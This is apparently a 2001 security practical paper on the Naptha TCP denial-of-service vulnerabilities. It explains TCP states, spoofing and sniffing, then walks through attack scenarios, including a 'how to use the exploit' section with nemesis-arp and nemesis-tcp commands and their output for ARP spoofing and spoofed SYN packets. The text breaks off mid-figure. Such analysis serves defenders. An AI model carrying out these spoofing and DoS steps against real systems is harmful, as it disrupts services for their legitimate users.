Choking on Naptha

TCP/IP Network Denial of Service Vulnerabilities

Nicholas J. Smith

February 11, 2001

1. Exploit Details

Name: Naptha.

Variants: The term "Naptha" has been chosen to describe a class of network-based Denial of Service (DoS) vulnerabilities.

Operating System: Various network-aware systems and services / applications. So far, those that have been publicly identified include Compaq Tru64 UNIX V4.0F, FreeBSD 4.0-REL, Hewlett-Packard HP-UX 11.00, Microsoft Windows 95, 98, 98SE & NT 4.0 SP6a, Novell Netware 5 SP1, SGI - IRIX 6.5.7m, and Sun Solaris 7 & 8.

Protocols / Services: TCP / network-aware services that use TCP.

Brief Description: The objective of a Naptha attack is to cause denial of service through resource starvation. Naptha exploits weaknesses in the way some TCP/IP stacks and applications handle TCP connection states. A successful attack causes vulnerable services to be disrupted or seriously degraded and, in some cases, the target's operating system may become inoperable. Naptha attacks are considered to be a serious threat for a number of reasons:

1. By crafting TCP packets, the attacker can consume large amounts of the target's resources without a commensurate expenditure of resource.
2. In combination with other exploits, the attack can be done anonymously.
3. Naptha attacks can be integrated into Distributed DoS (DDoS) tools.

At the time of writing, Naptha attacks are able to exploit the ESTABLISHED and FIN WAIT-1 TCP states.

2. Protocol description

In order to understand how the Naptha exploit works, it is necessary to have an appreciation of the following:

- The structure and operation of TCP/IP.
- Denial of Service (DoS) attacks.
- Some basic attack techniques.

2.1 TCP/IP

2.1.1 Overview of TCP/IP

TCP/IP refers to the suite of protocols that have been used to construct the global Internet and that are in common use in private networks (aka intranets) around the world. The TCP/IP name is taken from two of the fundamental protocols in the suite, TCP and IP. Along with other core protocols such as UDP and ICMP, TCP and IP provide a basic internetworking framework for services and applications. Like many other networking protocols, TCP/IP uses a layered architecture, with each layer providing specific functionality. TCP/IP is normally considered to be a 4 layer system and is shown in figure 2.1.

```
+-------------+
| Application | Telnet, FTP, SMTP, etc.
+-------------+
|  Transport  | TCP, UDP
+-------------+
|   Network   | IP, ICMP
+-------------+
|    Link     | Device driver and interface card
+-------------+
```

```
Figure 2.1  The layered architecture of the TCP/IP protocol suite.
```

The *application* layer is responsible for the details of a particular application. Common applications include Telnet for remote login, FTP for transferring files and SMTP for electronic mail. Data is passed from the application to the TCP layer.

The *transport* layer provides a flow of data for the application layer between two hosts. The TCP/IP protocol suite has two transport protocols: User Datagram Protocol (UDP) and Transmission Control Protocol (TCP). UDP provides a simple transport service to the application layer, but does not guarantee delivery of the datagrams that is sends. TCP provides a reliable transport service between two hosts and protects against data loss, data corruption, packet reordering and data duplication. TCP accepts data from applications and sends TCP segments to the IP layer.

The *network* layer (aka the *internet* layer) is responsible for moving packets around the network. In the TCP/IP protocol suite, the Internet Protocol (IP) is responsible for providing the basic delivery mechanism for packets of data sent between all systems connected to the network. The IP layer accepts data from the TCP layer and sends IP datagrams to the link layer. Every system on an internet needs at least one IP address in order to communicate with other systems. On its own, IP is not particularly useful to many applications because it is a simple protocol and does not provide any guarantees.

The *link* layer comprises a network interface card and a corresponding device driver in the operating system, and is responsible for the physical interface with the network medium. The link layer accepts data from the IP layer and sends frames over the physical network.

2.1.2 TCP

The original specification for TCP (RFC 793) describes a protocol that provides a connection-oriented, reliable, byte stream service. *Connection-oriented* means that the two applications using TCP must establish a connection with each other before they can exchange data. A *reliable byte stream service* means that an application can send a stream of bytes to TCP and the identical stream of bytes appears at the other end without loss, corruption, reordering or duplication.

In order to provide this service on top of the less reliable IP layer, TCP needs to initialize and maintain certain status information for each TCP connection. Some of this status information is maintained for a system's own use, while other information is exchanged with the system at the other end of the connection using fields in the header of the TCP segment. The TCP header is shown is figure 2.2.

```
bit #
                             1 1                              3
0                            5 6                              1
```

```
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   16-bit source port number   | 16-bit destination port number|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    32-bit sequence number                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                 32-bit acknowledgement number                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 4-bit |           |U|A|P|R|S|F|                               |
| header| Reserved  |R|C|S|S|Y|I|      16-bit window size       |
| length| (6 bits)  |G|K|H|T|N|N|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      16-bit TCP checksum      |     16-bit urgent pointer     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
$                       options (if any)                        $
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
$                         data (if any)                         $
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```

Figure 2.2   TCP Header Format

Sequence numbers are used to identify where the data in a particular TCP segment belongs in the byte stream, thus providing a mechanism for ensuring the correct ordering of data for the application. When a connection is initially established, the TCP sequence number field contains the Initial Sequence Number (ISN). TCP guards against data loss by using an acknowledgement mechanism that requires the receiver to send back an acknowledgement number that contains the next sequence number that is expected. This will be the sequence number of the last byte of data that was successfully received, plus one.

In addition to sequence numbers, other status information is maintained that relates to a set of well-defined states, through which a TCP connection progresses during its lifetime. TCP state behaviour can be modelled using the finite state machine (aka the TCP state machine) shown in figure 2.3. In the diagram, a box represents a TCP state and an arrow indicates a transition from one state to another. A line is labelled with a stimulus above it and, if applicable, a response below it. For example, when a system that has a connection in the ESTABLISHED state receives a FIN packet (stimulus = `recv FIN`), it should send an ACK packet (response = `send ACK`) and move to the CLOSE WAIT state.

In essence, the TCP state machine describes what state to move to next, and what type of packet to send back when a given type of packet is received. The packet type is defined by the flag bits that are set within the TCP header. Although there are actually six TCP flags, only those that are relevant to understanding the Naptha attack are described here.

- `SYN`. Synchronize sequence numbers to initiate a connection.
- `ACK`. Indicates that the number in the acknowledgement field is valid.
- `PSH`. The receiver should pass this data to the application as soon as possible.
- `FIN`. The sender has finished sending data.
- `RST`. Reset the connection.

```
        active OPEN:
        ------------                       passive OPEN:
           init state                         -------------
            send SYN          +----------+     init state
   ---------------------------|          |----------------------------
  /                           |  CLOSED  |                            \
  |       ------------------->|          |<-------------------        |
  |      /        CLOSE:      +----------+        CLOSE:      \       |
  |      |      -----------                    -----------    |       |
  |      |      clear state                    clear state    |       |
  V      |                                                    |       V
+----------+     recv SYN     +----------+     recv SYN     +----------+
| SYN SENT |----------------->| SYN RCVD |<-----------------|  LISTEN  |
+----------+     send ACK     +----------+   send SYN,ACK   +----------+
     |                              |
     |                              | recv ACK of SYN
     |                              V
      \     recv SYN,ACK     +------------+
       --------------------->|ESTABLISHED |
              send ACK       +------------+
                                 |    |
+----------+       CLOSE:        /    \       recv FIN      +----------+
|          |<--------------------      -------------------->|          |
|FIN WAIT-1|      send FIN                    send ACK      |CLOSE WAIT|
|          |-----------------------                         |          |
+----------+                       \                        +----------+
     |      \                      | recv FIN                     |
     |       \                     | ---------           CLOSE:   |
     | recv   \                    | send ACK           --------  |
     | ACK     \ recv FIN,ACK      |                   send FIN  |
     V          \------------      V                              V
+----------+     \send ACK    +----------+                  +----------+
|FIN WAIT-2|      \           | CLOSING  |                  | LAST ACK |
+----------+       \          +----------+                  +----------+
     |              \              |                              |
     |               \             | recv ACK     recv ACK of FIN |
     |                \            V                              V
     |                 \      +----------+                  +----------+
     |                  ----->|          |     TIMEOUT:     |          |
      \       recv FIN        |TIME WAIT |----------------->|  CLOSED  |
       ---------------------->|          |                  |          |
              send ACK        +----------+                  +----------+
```

Figure 2.3 The TCP state machine.

2.1.3 Establishing and terminating TCP sessions

In general, TCP sessions consist of three main phases: connection establishment, data transfer and connection termination. For the purpose of describing these phases, we will be referring to two hosts called Alice and Bob.

Connection establishment is required before any data can be passed between the hosts and is performed using a three-way handshake. A high level description of the three-way handshake between Alice and Bob would be:

1. Alice sends a SYN to Bob to indicate a request for TCP connection to Bob.
2. If Bob is accessible on the network, offers the desired service, and accepts the incoming connection, he will send a SYN,ACK back to Alice. The SYN indicates a connection request from Bob to Alice and the ACK acknowledges the initial connection request from Alice. TCP provides data transport services in both directions (full duplex), therefore connections must be established in both directions.
3. If Alice receives the SYN,ACK from Bob and still wants to continue with the connection, she will send an ACK back to Bob to acknowledge his request for a connection.

At this point, the connection has been established and data can be transferred between Alice and Bob.

There are two methods of terminating a TCP/IP connection: an abrupt method and a graceful method. The abrupt method is achieved by one host sending a RST to the other - this is not shown on the TCP state machine in figure 2.3. The graceful method requires both sides to send a FIN to terminate their respective connections. A high level description of the termination of the connection between Alice and Bob would be:

1. Alice sends a FIN to Bob to indicate her intent to terminate her TCP connection to Bob.
2. If Bob receives the FIN, he will send back an ACK to acknowledge the request from Alice. The connection is now in the half-closed state because Bob still has a connection to Alice.
3. Bob will send a FIN to Alice to indicate his intent to terminate his TCP connection to Alice.
4. If Alice receives the FIN, she will send back an ACK to acknowledge the request from Bob. The connection is now fully closed.

The interaction between Alice and Bob and their TCP states during connection establishment, data transfer and connection termination is shown in figure 2.4.

```
     ALICE                                                    BOB
     -----                                                    ---

 0.  CLOSED                                                   (passive OPEN)
                                                              LISTEN

 1.  (active OPEN)
     SYN-SENT    --> <SEQ=420><CTL=SYN>                   --> SYN-RECEIVED

 2.  ESTABLISHED <-- <SEQ=900><ACK=421><CTL=SYN,ACK>   <-- SYN-RECEIVED

 3.  ESTABLISHED --> <SEQ=421><ACK=901><CTL=ACK>       --> ESTABLISHED

                   (Three-way handshake complete)

 4.  ESTABLISHED --> <SEQ=421><ACK=901><CTL=ACK><DATA> --> ESTABLISHED

                          (Data transfer)

 5.  (close)
     FIN WAIT-1  --> <SEQ=422><ACK=901><CTL=FIN,ACK>   --> CLOSE WAIT

 6.  FIN WAIT-2  <-- <SEQ=901><ACK=423><CTL=ACK>       <-- CLOSE WAIT
```

```
                                (Half close)

  7.                                                           (close)
      TIME WAIT   <-- <SEQ=901><ACK=423><CTL=FIN,ACK>   <-- LAST ACK

  8.  TIME WAIT   --> <SEQ=423><ACK=902><CTL=ACK>       --> CLOSED

  9.  (2 x MSL delay)
      CLOSED

                      (Connection termination complete)
```

Figure 2.4 TCP connection establishment, data transfer and connection termination.

2.1.4 Flaws in the TCP state machine

The TCP state machine models deterministic behaviour of a system that uses TCP to exchange data with other systems. In order to progress through the series of states associated with connection establishment, data transfer and connection termination, each host must carry out actions appropriate for each TCP state. Problems arise when one of the hosts (let's call her Eve) stops playing by the rules. If Eve decides to behave differently, she can perform DoS attacks by causing the TCP state machine to stall in a particular state on the host to which she is connected. Unfortunately, although timers are maintained for each TCP connection, timeouts for ESTABLISHED and FIN WAIT-1 are system specific and rely on the application or the particular TCP/IP stack implementation.

2.2 Denial of Service (DoS)

2.2.1 DoS definition

A Denial of Service attack is characterized by an intentional action to significantly degrade the quality and / or availability of services offered by a system. In other words, the attack denies legitimate users full access to a service or services.

2.2.2 Resource starvation

DoS attacks are possible whenever an attacker can consume a finite or limited resource on a victim's system. This type of DoS attack is termed resource starvation. Examples of the kinds of resources that an attacker can consume are network bandwidth, memory, disk space and CPU time. In addition, attackers may also try to consume other limited resources that are needed by systems in order to operate. These include data structures such as process slots, open file handles or Transmission Control Block (TCBs).

2.3.3 TCP connection state

TCBs are used by systems to record the state of TCP connections. A TCB is created by the system kernel for each TCP connection to or from the system. Regardless of activity, a large number of connections require more memory and CPU time than a smaller number of connections. By creating a suitably large number of TCP connections and leaving them in certain states, network applications or the operating system itself can be starved of resources to the point where it crashes, refuses service or otherwise becomes unstable.

2.2.4 Symmetric attacks

Given sufficient resources, any system could be vulnerable to an attacker who is determined to perform a resource starvation DoS attack. Given a high end machine with vast quantities of RAM, a fast processor and a well tuned operating system, it is theoretically possible to overwhelm a smaller system using standard programs such as telnet. However, as the amount of resources consumed on the attacking system are commensurate with the amount of resources consumed on the victim system, it is not considered to be a vulnerability. Such an attack is sometimes referred to as a "symmetric attack".

2.2.5 Asymmetric attacks

Asymmetric attacks are distinguished from symmetric attacks by virtue of the fact that the attack consumes far more resources on the victim's system than on the attacker's system. This approach is taken in a Naptha attack. In circumstances where more resources are consumed on the victim's machine, it is considered to be vulnerable.

2.2.6 DoS and flaws in the TCP state machine

A basic example of a DoS attack against TCP that exploits flaws in the TCP state machine is the SYN Flood (CVE-1999-0116), where an attacker sends a SYN packet to a victim, but no reply is sent to the SYN,ACK from the victim. If the attacker repeatedly creates these half open connections, more and more resources will be tied up on the victim host until, eventually, the resources are used up and no more connections can be established. This creates a DoS situation.

2.3 Some basic hacking techniques

2.3.1 IP spoofing

IP spoofing involves fooling a target system into thinking that the packets that it is receiving have been sent from a system other than the attacker's system. In its simplest form, IP spoofing is achieved by faking the source IP address in the packets that are sent by the attacker. However, the problem with IP spoofing is that replies to the spoofed packets will be sent to the spoofed IP address and not to the attacker's system. In order to overcome this problem, packet sniffing is used. More information on IP spoofing can be found here.

2.3.2 Packet sniffing

The objective of packet sniffing is to gather traffic from a network and is usually achieved by putting the network interface into promiscuous mode. Some networks, such as traditional Ethernet, are inherently vulnerable to sniffing because of the manner in which they operate - an Ethernet interface in promiscuous mode will see all the traffic that is broadcast on that network segment. This can be very useful for legitimate reasons, such as gathering traffic statistics, as well as unethical reasons such as responding to packets that are intended for another system. More information on packet sniffing can be found here.

2.3.3 ARP spoofing

ARP enables systems to map IP addresses to a machine's physical address. In an Ethernet LAN environment, ARP maps 32 bit IP addresses to 48 bit MAC addresses. ARP enables a system to populate a table (often referred to as an ARP table or ARP cache) with such mappings. If Alice wants to send some data to Bob, but does not have Bob's MAC address, she can broadcast an ARP request to which Bob can reply with his MAC address. A major weakness of ARP is that a system can send an ARP reply to a target system without there having been an ARP request. This enables an attacker to create fake entries in a victim's ARP table. More information on ARP can be found in the ARP specification (RFC 826) and on

ARP spoofing, here.

3. Description of variants

Naptha is the name that is being used to refer to a group of network DoS vulnerabilities whose discovery has been attributed to the RAZOR Security Team at BindView Corporation. Naptha attacks exploit weaknesses in the way some TCP/IP stacks and applications handle large numbers of connections in states other than SYN RCVD. At the time of writing, only vulnerabilities in the handling of the ESTABLISHED and FIN WAIT-1 states have been publicly identified. However, it is possible that other vulnerabilities have since been discovered.

4. How the Naptha exploit works

4.1 Basic Naptha attack scenario

A basic form of the Naptha attack involves an attacker (Eve) and a victim (Bob) on the same network. The requirements for this attack scenario are as follows:

- Bob is running a vulnerable application or service that uses TCP.
- The network is vulnerable to sniffing.
- There is at least one IP address in the network address range that is not alive - this is used for spoofing.
- The selected spoofed IP address is not prevented from accessing the application or service on Bob, i.e. no tcp wrappers, host based firewall or other mechanism prevents access.

An example of a basic attack scenario that meets the above requirements is shown in figure 4.1.

```
                                   bob (victim)
                                  IP=192.168.1.10
                                  MAC=0123456789ab
                                      +------+
(Spoofed address)                     |      | finger 79/tcp
 IP=192.168.1.15                      |      |
 MAC=dead5050dead                     +------+
                                         | eth0             Ethernet segment
 +------------------------------------------------------+
             | eth0 (promiscuous mode)                      192.168.1.0 / 24
          +------+
          |      |
          |      |
          +------+

       192.168.1.250
       eve (attacker)
```

Figure 4.1   Basic Naptha attack scenario

One of the distinguishing features of the Naptha attack is that large amounts of resources on the victim's system are consumed with little corresponding use of resources on the attacker's system. In order to achieve this, Eve requires a way of generating packets independently of the TCP/IP stack on her system so that no TCBs are created in her system kernel. Basically, she creates packets using a raw packet interface, which enables her to send them without storing the connection state. Because Eve does not maintain any connection state information, she also needs to be able to respond to packets purely on the basis of the information contained in the packet.

Lastly, Eve requires a way of getting Bob to use the spoofed IP and MAC addresses. This could be achieved in a number of ways, as appropriate to the situation:

- Eve could send fake ARP replies to Bob at the start of the attack. This ARP spoofing process would need to send these fake replies on a regular basis to ensure that the spoofed entry remains in Bob's ARP table.
- As Eve is sniffing for packets from Bob, it would be relatively easy for her to reply to ARP requests from Bob during the attack.
- Eve could even try her luck at simply sending out an ARP request in order to obtain the MAC address of the victim, i.e. asking Bob to tell the non-existent system his MAC address. This technique is not really classified as ARP spoofing, but it has been used successfully against some Cisco routers and some Solaris systems. In the case of the Solaris system, the spoofed addresses did not show up in the ARP cache, but the system happily responded to spoofed packets during an attack. Cisco routers, on the other hand, entered the spoofed addresses into the ARP table. There may be other systems that are just as greedy about acquiring entries for their ARP tables.

In any of the above cases, the MAC address given to the victim must not match that of any devices on the network.

The basic Naptha attack, using TCP port 79 as an example, works as follows.

1. Eve fakes ARP replies to Bob to ensure that the spoofed address appears in Bob's ARP table and then puts her interface into promiscuous mode.
2. Eve generates a raw packet with the TCP SYN flag set and sends it to Bob on TCP port 79. The source IP address in the packet is that of the spoofed address (192.168.1.15). Because this SYN packet is not generated by Eve's TCP/IP stack, none of Eve's resources are used to maintain TCP connection state information.
3. Bob receives the SYN and, in response, sends a SYN,ACK to the spoofed IP address. The TCB that defines the state of this TCP connection on Bob's system is updated to reflect the change of state from LISTEN to SYN RCVD.
4. Eve, listening on the wire in promiscuous mode, sees the SYN,ACK from Bob to the spoofed IP address. As there is no device on the network that will respond to Bob's packet, Eve generates a raw packet with the appropriate acknowledgement number and the ACK bit set, and sends it to Bob. The source IP address in the packet is also that of the spoofed address.
5. Bob receives the ACK from Eve and updates the TCP connection state information to reflect the fact that he now believes that the connection to the spoofed address is in the ESTABLISHED state.
6. Eve proceeds to send out more SYN packets so that steps 2 through 5 are repeated. Each time, Eve selects a different TCP source port, but always specifies the TCP destination port as that of the service or application she wishes to exploit - in this case, port 79. If the victim system is vulnerable to the Naptha attack, a DoS situation should result.

The interaction between Eve and Bob and their TCP states during connection establishment to a finger service (fingerd) is shown in figure 4.2. Note that there is no state information associated with Eve because she is generating raw packets.

```
     EVE                                                     BOB
     ---                                                     ---

 0.                                                         (passive OPEN by fingerd
                                                             on TCP port 79)
                                                             LISTEN

 1. (port 1024)  --> <SEQ=420><CTL=SYN>                  --> SYN-RECEIVED

 2.              <-- <SEQ=900><ACK=421><CTL=SYN,ACK>     <-- SYN-RECEIVED

 3.              --> <SEQ=421><ACK=901><CTL=ACK>         --> ESTABLISHED

 4. (port 1025)  --> <SEQ=420><CTL=SYN>                  --> SYN-RECEIVED

 :
 :


    Figure 4.2    Establishing a TCP connection during a Naptha attack
```

Each time Bob accepts the incoming connection request from the spoofed IP address, some resource is consumed. Unless the application or the operating system has some mechanism in place to limit the number of connections, resources will continue to be consumed until no more connections can be handled. This inability to handle new connections means that the DoS attack has been successful - not only is Eve prevented from creating new 'connections', but genuine users will also be affected

4.2 Basic distributed Naptha attack scenario

This scenario has the same requirements as the basic attack scenario, but instead of one attacker, there are two systems involved in the attack. This scenario is shown in figure 4.3.

```
                                              bob (victim)
                                             IP=192.168.1.10
                                             MAC=0123456789ab
                                                 +------+
        (Spoofed address)                        |      | finger 79/tcp
         IP=192.168.1.15                         |      |
         MAC=dead5050dead                        +------+
                                                    | eth0            Ethernet segment
         +------------------------------------------------------+
            | eth0                       | eth0 (promiscuous mode)  192.168.1.0 / 24
         +------+                     +------+
         |      |                     |      |
         |      |                     |      |
         +------+                     +------+

       192.168.1.250               192.168.1.251
           eve                         eve2
   (SYN packet generation)      (ARP spoofing + sniffing)
```

Figure 4.3 Basic distributed Naptha attack scenario

In the basic attack scenario there are two independent processes running concurrently on the attacker's machine. One process is responsible for generating and sending SYN packets to the victim and the other process is responsible for responding to the SYN,ACK packets from the victim. For the purpose of a simple explanation of the workings of the attack, events were conveniently ordered in time. In reality, Eve might manage to send two SYN packets before a SYN,ACK is seen from Bob. So, the SYN and ACK generation processes on Eve are, indeed, independent of one another and the reason for this independence is that neither process cares about the state of the TCP connection. If this is the case, and the processes do not need to share information or communicate in any way, we can put the two processes on separate systems. This is the basis for a distributed attack.

In this attack scenario, the original Eve is now only responsible for the generation and sending of SYN packets to Bob. The new attack machine, Eve2, is responsible for ARP spoofing, sniffing the SYN, ACK replies from Bob and sending ACKs back to Bob.

A possible set of interactions between Eve, Eve2 and Bob during a distributed Naptha attack is shown in figure 4.4.

```
     EVE                                                    BOB
     ---                                                    ---

  0.                                                       (passive OPEN by fingerd
                                                            on TCP port 79)
                                                            LISTEN

  1. (port 1024)  --> <SEQ=420><CTL=SYN>                --> SYN-RECEIVED

  2. (port 1025)  --> <SEQ=420><CTL=SYN>                --> SYN-RECEIVED

  6. (port 1026)  --> <SEQ=420><CTL=SYN>                --> SYN-RECEIVED


     EVE2                                                   BOB
     ----                                                   ---

  0.                                                       (passive OPEN by fingerd
                                                            on TCP port 79)
                                                            LISTEN

  3. (port 1024)  <-- <SEQ=900><ACK=421><CTL=SYN,ACK>   <-- SYN-RECEIVED

  4. (port 1024)  --> <SEQ=421><ACK=901><CTL=ACK>       --> ESTABLISHED

  5. (port 1025)  <-- <SEQ=950><ACK=421><CTL=SYN,ACK>   <-- SYN-RECEIVED

  7. (port 1025)  --> <SEQ=421><ACK=951><CTL=ACK>       --> ESTABLISHED
```

Figure 4.4 Interactions during a distributed Naptha attack

It is unlikely that anyone would perform an attack in this way in the real world. However, it serves to illustrate the principles of a distributed Naptha attack.

4.3 "Real world" distributed Naptha attack scenario

The "real world" example that follows, simplifies a distributed Naptha attack, which could be implemented in today's real world environment. It involves two attackers (Eve and Eve2) and a victim (Bob), all of whom are on different networks and is shown in figure 4.5.

```
            bob (victim)
            192.168.1.10

              +-----+
              |     | finger 79/tcp
              |     |
              +-----+        Ethernet segment
                 | eth0      192.168.1.0 / 24
         +---------------------------+
                                |
                             +---+
                             |R-1|
                             +---+
                                |
                            ~^ ^ ^~                 Unused IP address
                +---+      (       )      +---+     (Spoofed address)
                |R-2|-----(   WAN   )-----|R-3|       192.168.3.15
                +---+      (       )      +---+
                  |         ~v v v~         | IP=192.168.3.1
                  |                         | MAC=00:10:0d:63:ec:1e
                  |                         |
Ethernet segment  |                         |  Ethernet segment
192.168.2.0 / 24  |                         |  192.168.3.0 / 24
+---------------------+           +--------------------+
            | eth0                       | eth0 (promiscuous mode)
         +-----+                      +-----+
         |     |                      |     |
         |     |                      |     |
         +-----+                      +-----+

       192.168.2.250                192.168.3.250
           eve                          eve2
(SYN packet generation)       (ARP spoofing + sniffing)
```

Figure 4.5 "Real world" distributed Naptha attack scenario

Although the scenario is different in terms of the network topology and the relative locations of the attackers and the victim, the same Naptha attack principles apply. The only difference is that Eve2 uses ARP spoofing against her default router (R-3) instead of against the victim of the attack. Eve sends SYN packets with a spoofed source IP address across the WAN to Bob. Bob sends a SYN,ACK packet which is routed to R-3. As R-3 has an entry in its ARP table for the spoofed IP address, it sends the packet to the local network where Eve2 is waiting with her network interface card in promiscuous mode. Eve2 examines the contents of the packet from Bob. Purely on the basis of the packet contents, she generates an ACK packet, which is sent to Bob with a spoofed source IP address. Bob thinks that he has an ESTABLISHED connection to a system with the spoofed IP address.

4.4 Other Naptha attack scenarios

In the above scenarios the number of systems involved in the attack were purposely limited in order to keep the explanations simple. However, in today's real world environment, attackers are unlikely to keep things so straightforward because they want the attack to be successful and do not want to get caught. In the world of possibilities, other attack scenarios include:

- Multiple systems attacking a single victim using the same spoofed source IP address.
- Multiple systems attacking multiple victims using the same spoofed source IP address.
- Multiple systems attacking a single victim using multiple spoofed source IP addresses.
- Multiple systems attacking multiple victims using multiple spoofed source IP addresses.

In scenarios that involve multiple attack systems, it would be tedious for an attacker to access each attack system in order to configure programs with the appropriate parameters for a Naptha attack. However, this problem has already been solved with the type of architectures that are seen in Distributed DoS (DDoS) tools such as trin00, Tribal Flood Network, stacheldaht and Trinity. Incorporating Naptha attack code into existing DDoS tools would be a relatively simple process and would leverage the power and flexibility provided by such tools. It has been reported that some DDoS tools have the ability to remotely update their software, enabling new features and attacks to be added to existing agents on compromised systems.

As many information security practitioners discovered early in 2000, it is difficult to track down the perpetrators and eliminate the source(s) of DDoS attacks. A well planned attack could involve multiple waves of attack systems, which would make it even more difficult to defend against because just as the potential sources of an attack are identified, the attack co-ordinator could replace them with another wave of attack systems.

At the time of writing, however, the author is not aware of any publicly available tools that are capable of performing Naptha attacks.

4.5 Stall states

The Naptha vulnerabilities that were discovered by BindView were reported to be successful in stalling the TCP connections in the ESTABLISHED or FIN WAIT-1 states. From the author's own observations, the stall state seems to be dependent on the service or application that is attacked. For example, fingerd running on Solaris stalls indefinitely in the ESTABLISHED state, whereas an Apache web server stalls in the ESTABLISHED state for a couple of minutes and then moves to the FIN WAIT-1 state for a few more minutes, before timing out.

4.6 Success factors in a Naptha DoS attack

The number of connections and the connection establishment rate necessary to successfully perform a Naptha DoS attack are dependent on a number of factors relating to the operating system and / or the application. As we are concerned with resource starvation to create a DoS situation, Naptha attacks rely on the absence or inappropriate configuration of protection mechanisms for open connections, open file handles, process memory, etc. Other factors that may come into play include the CPU speed and the amount of memory on the victim machine as well as the bandwidth available on the network between the attacker(s) and the victim.

In order to be successful, Naptha attacks may require the ability to tune the connection rate according to the situation. In some situations it is appropriate to use a high connection rate so that the thousands of ports are opened on the victim system and all resources are consumed before connections time out. In other situations it may be appropriate to use a slow connection rate in order to avoid SYN flood protection mechanisms.

5. How to use the exploit

According to BindView, who claim to have discovered the Naptha vulnerabilities, the programs that were written to demonstrate the Naptha attacks have only been released to security contacts within the organizations of vendors of affected operating systems. BindView have stated that the programs will not be released to the general public.

However, resourceful individuals may turn to the Internet in order to track down existing tools that could be used together in order to achieve the same goals. A quick look through the tools available at Packetstorm revealed several that could be used in combination to perform a basic Naptha attack. However, a UNIX command line packet injection suite, called nemesis (written by Obecian and available here), is capable of providing all the functionality required to perform a basic Naptha attack.

The following describes how to use nemesis-arp and nemesis-tcp to perform a basic Naptha attack against the ESTABLISHED state for the "real world" attack scenario. In this demonstration, the Naptha attack principles are shown attacking the finger service (TCP port 79) on the victim. The network infrastructure is comprised of Ethernet hubs and Cisco routers.

5.1 ARP spoofing

In this scenario the objective is to get a spoofed entry into the ARP cache of a Cisco router, so we can simply use the ARP component, nemesis-arp, of the nemesis suite to generate an ARP who-has packet.

The usage syntax for nemesis-arp is shown in figure 5.1.

```
ARP Packet Injection -=- The NEMESIS Project -=-  1.1
(c) 1999, 2000 obecian <obecian@celerity.bartoli.org>

ARP Usage:
  ./nemesis-arp [-v (verbose)] [optlist]

ARP Options:
  -S <Source IP Address>
  -D <Destination IP Address>
  -T (Enable ARP REPLY packet)
  -P <Payload File>

Data Link Options:
  -d <Ethernet Device>
  -H <Source MAC Address>
  -M <Destination MAC Address>
```

Figure 5.1   Usage syntax for nemesis-arp

The exact command to get the spoofed values into the router and the resulting command line output from nemesis-arp is shown in figure 5.2.

```
[root@eve2 /root]# /usr/local/sbin/nemesis-arp -v -S 192.168.3.15 -D 192.168.3.1 -T -d
xl0 -H de:ad:50:50:de:ad
ARP Packet Injection -=- The NEMESIS Project -=-  1.1
(c) 1999, 2000 obecian <obecian@celerity.bartoli.org>

ARP REQUEST

[IP]  192.168.3.15 > 192.168.3.1
[MAC] DE:AD:50:50:DE:AD > FF:FF:FF:FF:FF:FF
Wrote 42 byte ARP packet through linktype 1

ARP Packet Injected
[root@eve2 /root]#
```

Figure 5.2   Command for ARP spoofing with nemesis-arp

Figure 5.3 shows the output from tcpdump (available here) for an ARP reply packet crafted using nemesis-arp. The output also reveals the real MAC address of the attack system.

```
[root@eve2 /root]# tcpdump -e host 192.168.3.15
tcpdump: listening on xl0
11:24:03.922082 0:60:8:53:92:f Broadcast arp 42: arp reply 192.168.3.15
(de:ad:50:50:de:ad) is-at de:ad:50:50:de:ad
```

Figure 5.3 tcpdump output showing ARP reply packet

5.2 Generation of spoofed SYN packets

The usage syntax for the nemesis-tcp command is shown in figure 5.4.

```
TCP Packet Injection -=- The NEMESIS Project 1.1
(c) 1999, 2000 obecian <obecian@celerity.bartoli.org>

TCP usage:
  ./nemesis-tcp [-v] [options]

TCP options:
  [-x <Source Port>]
  [-y <Destination Port>]
  -f <TCP Flag Options>
     -fS SYN, -fA ACK, -fR RST, -fP PSH, -fF FIN, -fU URG
  -w <Window Size>
  -s <SEQ Number>
  -a <ACK Number>
  -u <TCP Urgent Pointer>
  -P <Payload File>
  (-v VERBOSE - packet struct to stdout)

IP options:
  -S <Source IP Address>
  -D <Destination IP Address>
  -I <IP ID>
  -T <IP TTL>
  -t <IP tos>
  -F <IP frag>
  -O <IP Options>

Data Link Options:
  -d <Ethernet Device>
  -H <Source MAC Address>
  -M <Destination MAC Address>
```

Figure 5.4   Usage syntax for nemesis-tcp

The nemesis-tcp command makes it possible to generate finely crafted packets by specifying parameters at the link, network and transport layers of the TCP/IP protocol suite. However, in order to create a basic SYN packet, we only need to define the source and destination IP addresses and the source and destination ports. This is shown in figure 5.5, along with the resulting command line output from nemesis-tcp.

```
[root@eve /root]# /usr/local/sbin/nemesis-tcp -S 192.168.3.15 -x 12345 -D 192.168.1.10 -
y 79 -fS
TCP Packet Injection -=- The NEMESIS Project 1.1
(c) 1999, 2000 obecian <obecian@celerity.bartoli.org>

[IP]  192.168.3.15 > 192.168.1.10
[Ports] 12345 > 79
[Flags]  SYN
[TCP Urgent Pointer] 2048
[Window Size] 512
[Sequence number] 420
[IP ID] 0
[IP TTL] 254
[IP TOS] 0x18
[IP Frag] 0x4000
[IP Options]
Wrote 40 bytes

TCP Packet Injected
```

```
[root@eve /root]#
```

Figure 5.5   Command for generating a basic SYN packet with nemesis-tcp

The resulting tcpdump output in figure 5.6 confirms that the crafted packet has been sent successfully.

```
[root@eve /root]# tcpdump host 192.168.3.15
tcpdump: listening on xl0
